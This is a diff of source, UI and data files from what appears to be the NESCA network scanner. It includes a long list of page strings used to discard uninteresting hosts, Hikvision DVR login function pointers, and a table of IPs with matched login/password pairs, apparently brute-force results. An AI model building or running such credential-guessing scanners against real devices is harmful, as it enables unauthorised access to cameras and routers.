char login[128];
|
||||
char pass[32];
|
||||
char other[128];
|
||||
};
|
||||
|
||||
class Lexems
|
||||
{
|
||||
public:
|
||||
int iterationCount, flag;
|
||||
|
||||
Lexems()
|
||||
{
|
||||
iterationCount = 0;
|
||||
flag = 0;
|
||||
}
|
||||
|
||||
~Lexems()
|
||||
{
|
||||
iterationCount = 0;
|
||||
}
|
||||
|
||||
/*int getHeader(char *ip,
|
||||
int port,
|
||||
const char str[],
|
||||
Lexems *l,
|
||||
PathStr *ps,
|
||||
std::vector<std::string> *lst, int size);*/
|
||||
|
||||
int filler(char* ip,
|
||||
int port,
|
||||
const std::string *buffcpy,
|
||||
int size,
|
||||
Lexems *lx);
|
||||
};
|
||||
|
||||
//Hikvision SDK extern functions
|
||||
//typedef int(__stdcall *f_func)();
|
||||
typedef void(__stdcall *NET_DVR_Init)();
|
||||
typedef void(__stdcall *NET_DVR_Cleanup)();
|
||||
typedef int(__stdcall *NET_DVR_Login_V30)(const char * sDVRIP,
|
||||
int wDVRPort,
|
||||
const char * sUserName,
|
||||
const char * sPassword,
|
||||
NET_DVR_DEVICEINFO_V30 *lpDeviceInfo);
|
||||
|
||||
extern NET_DVR_Init hik_init_ptr;
|
||||
extern NET_DVR_Cleanup hik_cleanup_ptr;
|
||||
extern NET_DVR_Login_V30 hik_login_ptr;
|
||||
|
||||
|
||||
|
@ -46,7 +46,7 @@ void MSGCheckerThread::run()
|
||||
{
|
||||
msgChkRunnning = true;
|
||||
if (strlen(trcPersKey) != 0) _getNewMsg();
|
||||
else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
|
||||
//else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
|
||||
Sleep(60000);
|
||||
};
|
||||
}
|
||||
|
912
negatives.txt
912
negatives.txt
@ -1 +1,911 @@
|
||||
|
||||
Benvenuti!
|
||||
ssl vpn
|
||||
Ref1=http
|
||||
hello. goodbye.
|
||||
Analog Telephone Adapter
|
||||
IP Dect -
|
||||
AnyGate
|
||||
Unable to open
|
||||
WebDAV
|
||||
Ruckus Wireless
|
||||
Access is denied
|
||||
access denied
|
||||
Company Limited
|
||||
àðåíäà ñåðâ
|
||||
首页
|
||||
51yes.com
|
||||
nasne&trade
|
||||
google-site-verification
|
||||
áåñïëàòíûé õîñò
|
||||
àíòèâèðóñ
|
||||
403 forbidden
|
||||
êóïèòü
|
||||
X-Adblock-Key
|
||||
エラー
|
||||
pagerror
|
||||
Error report
|
||||
電話
|
||||
reserveer
|
||||
kontakt
|
||||
ñàéò âðåìåí
|
||||
ãàðàíò
|
||||
ïàðê
|
||||
òåëåêîì
|
||||
ðåãèñòðàöèÿ
|
||||
íåäîñòóïåí
|
||||
document.cookie
|
||||
park
|
||||
You are not permitted
|
||||
Adapto CMS
|
||||
Account unavailable
|
||||
áàëàíñ
|
||||
ñðåäñòâ
|
||||
íà âàøåì ñ÷åòó
|
||||
àáîíåíò
|
||||
xml-not-well-formed
|
||||
No session
|
||||
validator.w3.org
|
||||
RFB 009
|
||||
00;39;49mroot:
|
||||
Authorization Required
|
||||
.swf
|
||||
ïîêóï
|
||||
yadro.ru
|
||||
liveinternet
|
||||
DIR-100
|
||||
DIR-615
|
||||
DIR-140
|
||||
session_login.php?reload=1
|
||||
Firewall Authentication required before
|
||||
Piolink Web
|
||||
You are not welcome to use
|
||||
Permission error
|
||||
sample.org
|
||||
421 FTP connection refused
|
||||
No HTTP resource was found
|
||||
RTDVR ActiveX
|
||||
D-RMS
|
||||
command not understood
|
||||
baZsDJAabybWQby
|
||||
report abuse
|
||||
atwiki
|
||||
studio
|
||||
McMyAdmin
|
||||
500 Syntax error
|
||||
Starting WebDVR
|
||||
530 Connection refused
|
||||
I can break rules, too
|
||||
this system is engaged
|
||||
Aviso de Bloqueio
|
||||
Servico nao disponivel
|
||||
Content-Encoding: gzip
|
||||
no connections allowed
|
||||
pocket-solution
|
||||
trustclick
|
||||
òîðã
|
||||
prelogin
|
||||
service temporarily unavailable
|
||||
service is temporary unavailable
|
||||
service unavailable
|
||||
403 - forbidden
|
||||
is still available
|
||||
php framework
|
||||
BlueBean
|
||||
Herzlich
|
||||
Web-Based Configurator
|
||||
Willkommen!
|
||||
Error 503
|
||||
not found
|
||||
504 gateway timeout
|
||||
Defaultpage
|
||||
500 internal server error
|
||||
500 - internal server error
|
||||
502 bad gateway
|
||||
505 http version
|
||||
501 not implemented
|
||||
invalid hostname
|
||||
http error 400
|
||||
400 ERROR
|
||||
include_path=
|
||||
function.require
|
||||
failed to open stream
|
||||
"./cgi-bin/start.cgi?UID=-1&TEMP="
|
||||
408 request time-out
|
||||
421 service not available
|
||||
500 OOPS
|
||||
Comming Soon
|
||||
is sample html
|
||||
/js/thickbox.js
|
||||
google_ad_slot
|
||||
plone
|
||||
openmail
|
||||
You don't have permission
|
||||
institute
|
||||
google-analytics.com
|
||||
googlesyndication
|
||||
temporarily offline
|
||||
temporarily unavailable
|
||||
MELOOK
|
||||
>log in
|
||||
.js_check.html
|
||||
/about-our-site.html
|
||||
/auth.
|
||||
/acquittal.html
|
||||
/building.html
|
||||
/cart/view
|
||||
/catalog/search.php
|
||||
/cgi-bin/welcome.cgi
|
||||
/welcome/
|
||||
application/x-shockwave-flash
|
||||
/customer
|
||||
e-Learn
|
||||
/esi.cgi?page=status-index.xml
|
||||
/guarantee
|
||||
.ac.jp
|
||||
/html/index.asp
|
||||
/iisstart.asp
|
||||
/images/final-hp
|
||||
/install.php
|
||||
/kontakty
|
||||
/manga/index.cgi
|
||||
/manual/
|
||||
/order
|
||||
/privacy
|
||||
/news
|
||||
/portal-login
|
||||
/product.php
|
||||
/rpauth.html
|
||||
/servlet/wap/login
|
||||
site introuvable
|
||||
shop
|
||||
sell
|
||||
test server
|
||||
/company
|
||||
/brand
|
||||
/signin
|
||||
/simple.html
|
||||
/soap/
|
||||
/support/
|
||||
/terms
|
||||
/ui/
|
||||
/user/index.php
|
||||
/weblogin.htm
|
||||
/xampp/
|
||||
/zimbra
|
||||
:5000/
|
||||
?hipname=
|
||||
@bk.ru
|
||||
@gmail.com
|
||||
@inbox.ru
|
||||
@list.ru
|
||||
@mail.ru
|
||||
@rambler.ru
|
||||
@yandex.ru
|
||||
+home_42+
|
||||
+i1+
|
||||
+vt_docsystem+
|
||||
16 ch
|
||||
a test web page
|
||||
clinic
|
||||
museum
|
||||
It's works
|
||||
Adobe GoLive
|
||||
Remote Link2
|
||||
about/
|
||||
aboutus
|
||||
about-us
|
||||
about us
|
||||
acceso denegado
|
||||
acceso sistema
|
||||
access the sharecenter
|
||||
actiontec_bottom
|
||||
adsense
|
||||
afrekenen
|
||||
ahcom tecnologia
|
||||
alfresco
|
||||
app service
|
||||
apache_pb.gif
|
||||
airties
|
||||
aktualizacji
|
||||
amicaweb
|
||||
Alan Ad?
|
||||
and supervision tool
|
||||
annex b
|
||||
apache http server test
|
||||
apache software foundation
|
||||
apache tomcat
|
||||
apache ha sido instalado
|
||||
application manager
|
||||
apteka
|
||||
arteco ivs spa
|
||||
at&t
|
||||
at-img634
|
||||
autenticacao de acesso
|
||||
auto_detect_lang.asp
|
||||
aviso legal
|
||||
backgroundimagecache
|
||||
bad request
|
||||
baidu
|
||||
beratung
|
||||
berneck
|
||||
btnLive
|
||||
business invest
|
||||
best domain names
|
||||
bitrix
|
||||
bluedragon
|
||||
blog
|
||||
blog/about/
|
||||
blog/comments/
|
||||
bubba|2
|
||||
buffalo inc
|
||||
buy
|
||||
cable modem
|
||||
cafe
|
||||
call us
|
||||
calorie
|
||||
cannot be displayed
|
||||
cannot find
|
||||
ccnwebsrvcontroller
|
||||
church
|
||||
canopy
|
||||
casino
|
||||
cautivo
|
||||
check_hj.html
|
||||
check_user_agent
|
||||
checking javascript support
|
||||
checking language
|
||||
checkpoint.com
|
||||
cheditor
|
||||
chiliproject
|
||||
check availability
|
||||
citrix/xenapp
|
||||
client
|
||||
cloud
|
||||
cmside.htm
|
||||
company.
|
||||
comcast business
|
||||
coming soon
|
||||
commercial property
|
||||
configuration manager
|
||||
configuration file does not
|
||||
confixx
|
||||
construcci
|
||||
consulta
|
||||
contac
|
||||
come back later
|
||||
contat
|
||||
control de inventarios
|
||||
control de solicitudes
|
||||
controles de acceso
|
||||
currently unavailable
|
||||
cooking
|
||||
coltd
|
||||
co.ltd
|
||||
co.,ltd
|
||||
#QNAP shit
|
||||
could be ipv6 addr
|
||||
cp-gateway
|
||||
create an account
|
||||
create new account
|
||||
credit
|
||||
currently measuring
|
||||
currently unreachable
|
||||
cs3 dreamweaver
|
||||
FrontPage
|
||||
TESTPAGE
|
||||
Too many connections
|
||||
BB-HGW
|
||||
OS X Lion
|
||||
Inspire DVR
|
||||
DVR Components Download
|
||||
Homepage Builder
|
||||
dashboard.css
|
||||
dating
|
||||
dbox
|
||||
de iis
|
||||
design house
|
||||
de subsidios
|
||||
de turismo
|
||||
default page
|
||||
default parallels plesk panel
|
||||
default plesk page
|
||||
default web
|
||||
defaultwebpage
|
||||
desserts
|
||||
default-site
|
||||
development company
|
||||
development work
|
||||
device configuration
|
||||
default index file
|
||||
dgc hotspot
|
||||
dishes
|
||||
docsis
|
||||
docsis_system.asp
|
||||
dominio
|
||||
domain error
|
||||
domain has been blocked
|
||||
domain has been registered
|
||||
domain name registration
|
||||
domain registered
|
||||
domainapps.com
|
||||
domeny
|
||||
domeingeregistreerd
|
||||
down for maint
|
||||
draytek corp
|
||||
dreambox webcontrol
|
||||
drupal
|
||||
Dreamweaver MX
|
||||
due to maintance
|
||||
dsnextgen.com
|
||||
DATA LAN DISK
|
||||
TEST SITE
|
||||
eap web interface
|
||||
echolife
|
||||
ediciones tierrazul
|
||||
elipgo
|
||||
emta settings
|
||||
en construction
|
||||
enigin plc
|
||||
enigma web interface
|
||||
entertainment
|
||||
equipe ahcom
|
||||
erro ao resolver
|
||||
The requested URL
|
||||
error.asp
|
||||
empty page
|
||||
errors.umi-cms.ru
|
||||
e-trayz
|
||||
evaluaciones
|
||||
exchange/
|
||||
ezwatch pro
|
||||
education
|
||||
fax
|
||||
fax.
|
||||
fax:
|
||||
fax :
|
||||
fashion
|
||||
Fireworks MX
|
||||
fast35xx
|
||||
facebook
|
||||
football
|
||||
forex
|
||||
forgot password
|
||||
free delivery
|
||||
free to play
|
||||
freepbx
|
||||
free-shipping
|
||||
fritz!box
|
||||
functioning normally
|
||||
future home of
|
||||
gaiyou
|
||||
glassfish server
|
||||
globesurfer
|
||||
gmbh
|
||||
industrial
|
||||
help.html
|
||||
market
|
||||
guarantee
|
||||
h.264
|
||||
h264
|
||||
hc.ru
|
||||
hectrix ltd
|
||||
hipname
|
||||
hipoteka
|
||||
hitron technologies
|
||||
holding page
|
||||
holding_page
|
||||
home gateway
|
||||
home.
|
||||
hosting
|
||||
hostline.ru
|
||||
help desk
|
||||
hotspot login
|
||||
htmlanvview:
|
||||
icecast2
|
||||
ie-plugin
|
||||
iis7
|
||||
iis8
|
||||
images/spacer.jpg
|
||||
images/ub15.gif
|
||||
in construction
|
||||
index.cgi?active
|
||||
index.php?action=login
|
||||
info experts
|
||||
information services 8
|
||||
ingrese usuario
|
||||
inicio
|
||||
initservicecookie
|
||||
inloggen
|
||||
insurance
|
||||
intelligent digital security system
|
||||
into the public_html directory
|
||||
invalid url
|
||||
iomega
|
||||
iis windows
|
||||
customer
|
||||
is functioning normally
|
||||
is under construction
|
||||
ispmanager control panel
|
||||
it work
|
||||
error404
|
||||
404err
|
||||
error500
|
||||
500err
|
||||
407 Proxy
|
||||
ibm websphere
|
||||
is now configured
|
||||
is currently undergoing
|
||||
jbossweb
|
||||
join us
|
||||
joinmember
|
||||
juniper
|
||||
jste heslo
|
||||
kerio connect
|
||||
keyhole peeks
|
||||
kablosuz
|
||||
kloxo control panel
|
||||
kontakt
|
||||
kredyt
|
||||
lacie nas
|
||||
latest tweets
|
||||
legal policies
|
||||
log_off_page.htm
|
||||
login page
|
||||
login para acesso
|
||||
logistics
|
||||
lvrweb
|
||||
epanel
|
||||
commerc
|
||||
official website
|
||||
WebFig
|
||||
in manutenzione
|
||||
Domain is not authorized
|
||||
in costruzione
|
||||
mail_manager
|
||||
magnesium
|
||||
management console
|
||||
mbanking
|
||||
olaHola
|
||||
Wireless N ADSL
|
||||
Account Suspended
|
||||
Session limit reached
|
||||
Aethra
|
||||
meble
|
||||
microsoft exchange
|
||||
mijn account
|
||||
mobile phone was detected
|
||||
mobile web viewer
|
||||
mobile_viewer_login
|
||||
mobile login
|
||||
modem (administrator
|
||||
m&w
|
||||
munin
|
||||
my account
|
||||
my cart
|
||||
my homepage
|
||||
myauth
|
||||
navatom
|
||||
navigate to public landing page
|
||||
netdvrv
|
||||
netsafe utm
|
||||
netsurveillance
|
||||
nettalk
|
||||
netvideo
|
||||
newocx
|
||||
nicht aufgeschaltet
|
||||
no web site
|
||||
no site on this
|
||||
nothing to see
|
||||
nothing here
|
||||
not authorized to view
|
||||
nuuo network video recorder
|
||||
nuuo web
|
||||
ntt docomo
|
||||
nvr
|
||||
no longer available
|
||||
o nas
|
||||
obs-helper/menu.jsp
|
||||
official site
|
||||
olvido su password
|
||||
oncell warning
|
||||
one time payment
|
||||
one web server
|
||||
Welcome to nginx
|
||||
online dating
|
||||
online store
|
||||
oracle application server
|
||||
our partners
|
||||
outlook web
|
||||
oma domain
|
||||
on varattu
|
||||
opening soon
|
||||
openwebmail
|
||||
Directory Listing Denied
|
||||
page=about
|
||||
pagos
|
||||
CodeIgniter
|
||||
parkerad
|
||||
paradox ip module
|
||||
parallels confixx
|
||||
parallels operations automation default
|
||||
parent.location=
|
||||
partners
|
||||
paypal
|
||||
pharmacy
|
||||
phone system
|
||||
phpmyadmin
|
||||
pills
|
||||
place holder
|
||||
placeholder
|
||||
plakaty
|
||||
platinbox
|
||||
please login
|
||||
plesk
|
||||
poker
|
||||
polycom '+model
|
||||
por internet
|
||||
portada
|
||||
portal de
|
||||
postinfo.html
|
||||
price
|
||||
prikol
|
||||
privacy policies
|
||||
virtual private server
|
||||
pro-agro apm
|
||||
produc
|
||||
produtos
|
||||
symfony-project
|
||||
professions
|
||||
sonicwall
|
||||
promo
|
||||
product_id
|
||||
presentation page
|
||||
qnap turbo nas
|
||||
Qloud Server
|
||||
read more
|
||||
redirect server
|
||||
redmine
|
||||
reserviert
|
||||
reg.demos.ru
|
||||
register now
|
||||
registrato
|
||||
register your domain
|
||||
registrarse
|
||||
reklam
|
||||
related searches
|
||||
relatives
|
||||
relaxcms.com
|
||||
remote access controller
|
||||
remote monitoring system
|
||||
remote video surveillance
|
||||
reserved domain
|
||||
residential gateway login
|
||||
restaurant
|
||||
redevelopment
|
||||
rpauth.html
|
||||
rpsys.html
|
||||
ruby on rails
|
||||
ru-center
|
||||
rss buddy
|
||||
roundcube
|
||||
s.r.l.
|
||||
sakura internet
|
||||
sabnzbd
|
||||
samsung digital
|
||||
sapphire journal
|
||||
sbuilder.ru
|
||||
scam_2nd.sis
|
||||
search.
|
||||
searchnut.com
|
||||
searchpage.aspx
|
||||
searchremagnified
|
||||
secure login page
|
||||
securepaynet
|
||||
selectkind.html
|
||||
server application error
|
||||
server default page
|
||||
servicio
|
||||
shared ip
|
||||
sign in now
|
||||
silverlight
|
||||
sistema fenix
|
||||
sistemas
|
||||
site offline
|
||||
site_manager
|
||||
site just created
|
||||
sitemap
|
||||
site is not
|
||||
site_map
|
||||
saitmap
|
||||
stay tuned
|
||||
sitio no encontrado
|
||||
software is running
|
||||
skidki
|
||||
skip intro
|
||||
small business
|
||||
smart switch login
|
||||
smartermail
|
||||
snom
|
||||
sign up
|
||||
sonicwall - authentication
|
||||
spa configuration
|
||||
speed test
|
||||
speedtouch
|
||||
sport
|
||||
skype:
|
||||
src/login.php
|
||||
ssl-vpn/login.esp
|
||||
standalone dvr
|
||||
statcounter
|
||||
status.stm
|
||||
strona w przygotowaniu
|
||||
subsonic
|
||||
sugarcrm
|
||||
sun java system
|
||||
workplace
|
||||
workspace
|
||||
Under Constraction
|
||||
Mobile NAS Router
|
||||
sunny webbox
|
||||
supporto
|
||||
strona w konstrukcji
|
||||
surgeblog
|
||||
Apache Error
|
||||
suspended domain
|
||||
suspendedpage
|
||||
switch administrator
|
||||
sww link
|
||||
synology
|
||||
taobao
|
||||
TopPageFinder.com
|
||||
Sun Microsystems, Inc
|
||||
421 Service is unavailable
|
||||
Echo Service
|
||||
CareerVision
|
||||
teamportal
|
||||
teamviewer
|
||||
AW+ GUI Applet
|
||||
Technotree Web
|
||||
SI-TEC
|
||||
desknet
|
||||
technical support
|
||||
teles.igate
|
||||
tellion
|
||||
tell
|
||||
tell.
|
||||
TEL(
|
||||
fax(
|
||||
Web Management Login
|
||||
IBM HTTP Server
|
||||
no server available
|
||||
tell:
|
||||
tell :
|
||||
tel/
|
||||
fax/
|
||||
tel
|
||||
tel.
|
||||
tel :
|
||||
tel:
|
||||
tel?
|
||||
tel ?
|
||||
tel)
|
||||
AirLibro
|
||||
fax?
|
||||
fax ?
|
||||
termos de uso
|
||||
TP-LINK Wireless
|
||||
RT-N
|
||||
RT-G
|
||||
dir320
|
||||
underconstr
|
||||
test page
|
||||
has been banned
|
||||
the best place
|
||||
the best search
|
||||
the leading
|
||||
the page is not
|
||||
the web server is running
|
||||
this object has moved
|
||||
this website is not configured
|
||||
thomson gateway
|
||||
to log in
|
||||
tomza
|
||||
touchstone status
|
||||
townet 108-30-su
|
||||
tralix
|
||||
transfervolumen
|
||||
trixbox
|
||||
try again later
|
||||
tutorial
|
||||
twitter
|
||||
Tlf.
|
||||
mailto:
|
||||
WJND300
|
||||
Home Page
|
||||
temporar in mentenanta
|
||||
under maintanence
|
||||
under-construction
|
||||
under construct
|
||||
under development
|
||||
under konstruktion
|
||||
under maintenance
|
||||
unimep station controller
|
||||
unsub pag
|
||||
upnp devices
|
||||
url could not be retrieved
|
||||
unohditko salasanan
|
||||
value domain
|
||||
verizon
|
||||
verwaltungskonsole
|
||||
viagra
|
||||
visualsvn
|
||||
voice-over-ip
|
||||
voip gateway
|
||||
voip web
|
||||
velkommen
|
||||
vood
|
||||
visit us
|
||||
varaa itsellesi
|
||||
w@de
|
||||
wade
|
||||
web applications
|
||||
web console
|
||||
web device manager
|
||||
web frontend
|
||||
web hosting
|
||||
web remote access
|
||||
web server setup guide
|
||||
web site creator
|
||||
webage unavailable
|
||||
website does not exist
|
||||
web-based configurator
|
||||
webcamx
|
||||
webconfig
|
||||
webcontrol
|
||||
webguard login
|
||||
webrom
|
||||
website is currently
|
||||
webui administration
|
||||
webview
|
||||
webmail
|
||||
welcome.do
|
||||
web development
|
||||
wimax
|
||||
window.location = "/ui"
|
||||
windows home server
|
||||
windows server
|
||||
windows small business server
|
||||
winkelwagen
|
||||
wordpress
|
||||
wowza
|
||||
www.microsoft.com
|
||||
www.ibm.com
|
||||
www.lacie.com
|
||||
www.sedo.com
|
||||
xenserver
|
||||
CommuniGate Pro
|
||||
MACROSCOP
|
||||
Áóõãàëòåð
|
||||
áþäæåò
|
||||
Welcome to WildFly
|
||||
Welcome to jboss
|
||||
VoIP Router
|
||||
Can't connect to
|
||||
xfinity
|
||||
ñòðîé
|
||||
ñòðîèò
|
||||
VoIP Telephone
|
||||
This site requires JavaScript
|
||||
xtreamer
|
||||
yahoo
|
||||
you are not logged in
|
||||
your explorer is no support frame
|
||||
your website
|
||||
yweb
|
||||
wkrotce
|
||||
àçàðòíûå èãðû
|
||||
àêêîðäû
|
||||
àíåêäîò
|
||||
àïòåê
|
||||
àðõèâ íîâîñòåé
|
||||
â ñòàäèè ðàçðàáîòêè
|
||||
â ðàçðàáîòêå
|
||||
ôèëüì
|
||||
film
|
||||
Íå óäàåòñÿ îòîáðàçèòü ñòðàíèöó
|
||||
page does not exist
|
||||
ïðàâà çàùèùåíû
|
||||
äà÷
|
||||
äåøåâ
|
||||
äåø¸â
|
||||
pm2-web
|
||||
äîñòàâêà
|
||||
çàêàç
|
||||
öåíà
|
||||
çàðàáîòîê â ñåòè
|
||||
çíàêîìñòâà
|
||||
èñòåê ñðîê
|
||||
êàðèêàòóð
|
||||
êîíêóðñ
|
||||
êîíòàêòû
|
||||
êóõíè
|
||||
ãëàâíàÿ ñòðàíèöà
|
||||
ëè÷íûé êàáèíåò
|
||||
ëîòåðå
|
||||
ìåæäóíàðîäí
|
||||
ìîäà
|
||||
ìû ïðåäîñòàâëÿåì
|
||||
íà ðåêîíñòðóêöèè
|
||||
ïîçæå
|
||||
íàéòè ðàáîòó
|
||||
íàõîäèòñÿ â ðàçðàáîòêå
|
||||
íàø áàííåð
|
||||
êîìïàíè
|
||||
íèçêèå öåíû
|
||||
Íåêîððåêòíûé URL
|
||||
Íåâîçìîæíî ïîäêëþ÷èòüñÿ
|
||||
íîâûé àäðåñ
|
||||
ìàãàç
|
||||
î íàñ
|
||||
îñòåâ
|
||||
ïàðòíåðê
|
||||
ïåðåâîä òåêñòîâ
|
||||
ïåðååõà
|
||||
ïåðñîíàëüíûé ñàéò
|
||||
ïèøè
|
||||
ïîäåðæàí
|
||||
îòêëþ÷åí
|
||||
ïðîôèëàêòè÷åñêèå ðàáîòû
|
||||
âðåìåííûå íåóäîáñòâà
|
||||
Íåâåðíûé êëþ÷
|
||||
Seo
|
||||
ïîäïèñàòüñÿ
|
||||
ïîèñê ðàáîòû
|
||||
ïðèêîë
|
||||
ïðîäóêöèÿ
|
||||
ïðîèçâîäñòâ
|
||||
ïðîöåñ³ ðîçðîáêè
|
||||
ðàáîòà â èíòåðíåòå
|
||||
ðåãèñòðàöèè äîìåííûõ
|
||||
ðåêëàìíûå ññûëêè
|
||||
ðåìîíò
|
||||
ñàéò â ðàçðàáîòêå
|
||||
ñàéò íåäîñòóïåí
|
||||
ñàéò êëàíà
|
||||
ñêîðî çàïóñòèòñÿ
|
||||
ñàéò íà ðàçðàáîòêå
|
||||
ñâÿçü ñ íàìè
|
||||
ñêèäê
|
||||
ðàñêðóò
|
||||
ñêîðî îòêðûòèå
|
||||
ñëóæáà ïîääåðæêè
|
||||
ñîçäàíèå íåäîðîãèõ ñàéòîâ
|
||||
ñîçäàíèå ñàéòîâ
|
||||
ñïîíñîðû
|
||||
ñòàðòîâàÿ ñòðàíè
|
||||
ñòèõè
|
||||
òåñòîâàÿ ñòðàíè
|
||||
òåõíè÷åñêèå ðàáîòû
|
||||
óñëóãè
|
||||
ôëåøêè
|
||||
îøèáêà
|
||||
íà õîñòèíãå
|
||||
Fatal error:
|
||||
mc.yandex.ru
|
||||
UNKNOWN HOST
|
||||
Ñàéò çàêðûò
|
||||
?partner
|
||||
õîêêå
|
||||
äîáðî ïîæàëîâàòü â
|
||||
ñòàòóñû
|
||||
âûñêàçûâàíè
|
||||
ôëýøêè
|
||||
ôóòáîë
|
||||
þìîð
|
||||
íîâîñòè
|
||||
íà ðåêîíñòðóêöèè
|
||||
îáíîâëåíèå ñàéòà
|
||||
îôèñ
|
||||
þðèäè÷
|
||||
ñòðàíèöà íå íàéäåíà
|
||||
ïðîäà
|
1057
nesca_3.cpp
1057
nesca_3.cpp
File diff suppressed because it is too large
Load Diff
97
nesca_3.h
97
nesca_3.h
@ -18,6 +18,10 @@
|
||||
#include <qtextcodec.h>
|
||||
#include <libssh/libssh.h>
|
||||
|
||||
#include <QStringListModel.h>
|
||||
#include <QStandardItemModel.h>
|
||||
#include <QList.h>
|
||||
|
||||
extern Ui::nesca_3Class *ui;
|
||||
extern bool widgetIsHidden, QOSWait,
|
||||
ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag,
|
||||
@ -28,18 +32,21 @@ extern QVector<int> vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSH
|
||||
extern QList<int> lstOfLabels;
|
||||
extern QSystemTrayIcon *tray;
|
||||
|
||||
extern QStandardItemModel *BAModel;
|
||||
|
||||
class nesca_3 : public QMainWindow
|
||||
{
|
||||
Q_OBJECT
|
||||
|
||||
public:
|
||||
nesca_3(QWidget *parent = 0);
|
||||
nesca_3(bool isWM, QWidget *parent);
|
||||
~nesca_3();
|
||||
|
||||
void ConnectEvrthng();
|
||||
void ChangeLabelIpRange_Value(QString str);
|
||||
void ChangeLabelIPS_Value(QString str);
|
||||
void newListItem(QString str);
|
||||
static int addBARow(QString ip, QString loginPass, QString percentage);
|
||||
|
||||
public:
|
||||
static int perc;
|
||||
@ -57,7 +64,9 @@ protected:
|
||||
void ThreadDelay_ChangeValue(QString val);
|
||||
void ChangePingerOK(bool val);
|
||||
void changeNSTrackLabel(bool status);
|
||||
void slotPBUpdate();
|
||||
void slotPBUpdate();
|
||||
void slotPB2Update();
|
||||
void slotPB2DrawPointer(int pointer);
|
||||
void DNSLine_ValueChanged();
|
||||
void slotShowRedVersion();
|
||||
void slotTabChanged(int index);
|
||||
@ -112,12 +121,13 @@ protected:
|
||||
void appendDebugText(QString str);
|
||||
void appendNotifyText(QString str);
|
||||
void appendDefaultText(QString str);
|
||||
void appendGreenBAData(QString str);
|
||||
void appendRedBAData(QString str);
|
||||
void STTTerminate();
|
||||
void drawVerboseArcs(unsigned long gTargets);
|
||||
void finishLoading();
|
||||
void slotBlockButtons(bool value);
|
||||
//BA TablelistView
|
||||
void slotChangeBARow(const int index, const QString loginPass, const QString percentage);
|
||||
|
||||
private:
|
||||
QPoint dragPosition;
|
||||
};
|
||||
@ -129,6 +139,85 @@ public:
|
||||
public:
|
||||
void contextMenuEvent(QContextMenuEvent *event);
|
||||
};
|
||||
|
||||
class PekoWidget : public QWidget
|
||||
{
|
||||
Q_OBJECT;
|
||||
public:
|
||||
static int m_xPos;
|
||||
static int m_yPos;
|
||||
static int m_windowCounter;
|
||||
static int offset;
|
||||
|
||||
PekoWidget(QWidget *parent = 0) : QWidget(parent)
|
||||
{
|
||||
}
|
||||
PekoWidget(const int qmwXPos, const int qmwYPos, QWidget *parent = 0) : QWidget(parent)
|
||||
{
|
||||
offset = 5;
|
||||
setWindowFlags(Qt::FramelessWindowHint | Qt::SubWindow);
|
||||
installEventFilter(this);
|
||||
setStyleSheet(
|
||||
"background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));");
|
||||
|
||||
if (m_xPos >= 1200) {
|
||||
m_xPos = 305;
|
||||
offset += 5;
|
||||
}
|
||||
setGeometry(qmwXPos - m_xPos, qmwYPos + m_yPos, 300, 200);
|
||||
if (m_windowCounter++ < 3) {
|
||||
m_yPos += 200 + offset;
|
||||
}
|
||||
else {
|
||||
m_windowCounter = 0;
|
||||
m_xPos += 305;
|
||||
m_yPos = 0;
|
||||
}
|
||||
};
|
||||
protected:
|
||||
bool switchWindows;
|
||||
void paintEvent(QPaintEvent *e)
|
||||
{
|
||||
QPainter painter(this);
|
||||
painter.setPen(QColor(255, 255, 255, 60));
|
||||
painter.drawRoundedRect(0, 0, width() - 1, height() - 1, 0, 1);
|
||||
QWidget::paintEvent(e);
|
||||
|
||||
}
|
||||
void mousePressEvent(QMouseEvent *evt)
|
||||
{
|
||||
switchWindows = false;
|
||||
if (evt->button() == Qt::LeftButton)
|
||||
{
|
||||
switchWindows = true;
|
||||
oldPos = evt->globalPos();
|
||||
evt->accept();
|
||||
}
|
||||
else if (evt->button() == Qt::RightButton)
|
||||
{
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
this->hide();
|
||||
};
|
||||
}
|
||||
void mouseMoveEvent(QMouseEvent *evt)
|
||||
{
|
||||
switchWindows = false;
|
||||
const QPoint delta = evt->globalPos() - oldPos;
|
||||
move(x() + delta.x(), y() + delta.y());
|
||||
oldPos = evt->globalPos();
|
||||
}
|
||||
void mouseReleaseEvent()
|
||||
{
|
||||
if (switchWindows)
|
||||
{
|
||||
switchWindows = false;
|
||||
};
|
||||
}
|
||||
|
||||
private:
|
||||
QPoint oldPos;
|
||||
};
|
||||
|
||||
class PopupMsgWidget : public QWidget
|
||||
{
|
||||
Q_OBJECT
|
||||
|
@ -1,6 +1,7 @@
|
||||
<RCC>
|
||||
<qresource prefix="/nesca_3">
|
||||
<file>small_font.ttf</file>
|
||||
<file>xc.jpg</file>
|
||||
<file>nesca.ico</file>
|
||||
</qresource>
|
||||
</RCC>
|
||||
|
BIN
nesca_3.rc
BIN
nesca_3.rc
Binary file not shown.
293
nesca_3.ui
293
nesca_3.ui
@ -963,7 +963,28 @@ color: rgb(214, 214, 0);</string>
|
||||
<widget class="QGraphicsView" name="pbgv">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>437</x>
|
||||
<x>451</x>
|
||||
<y>20</y>
|
||||
<width>26</width>
|
||||
<height>102</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color:rgb(38, 38, 38);
|
||||
border: 1px solid rgb(227, 227, 227);
|
||||
border-radius: 3px;</string>
|
||||
</property>
|
||||
<property name="verticalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
<property name="horizontalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QGraphicsView" name="pbgv_2">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>420</x>
|
||||
<y>20</y>
|
||||
<width>26</width>
|
||||
<height>102</height>
|
||||
@ -1640,6 +1661,9 @@ border-radius: 3px;</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTextBrowser" name="dataText">
|
||||
<property name="enabled">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="geometry">
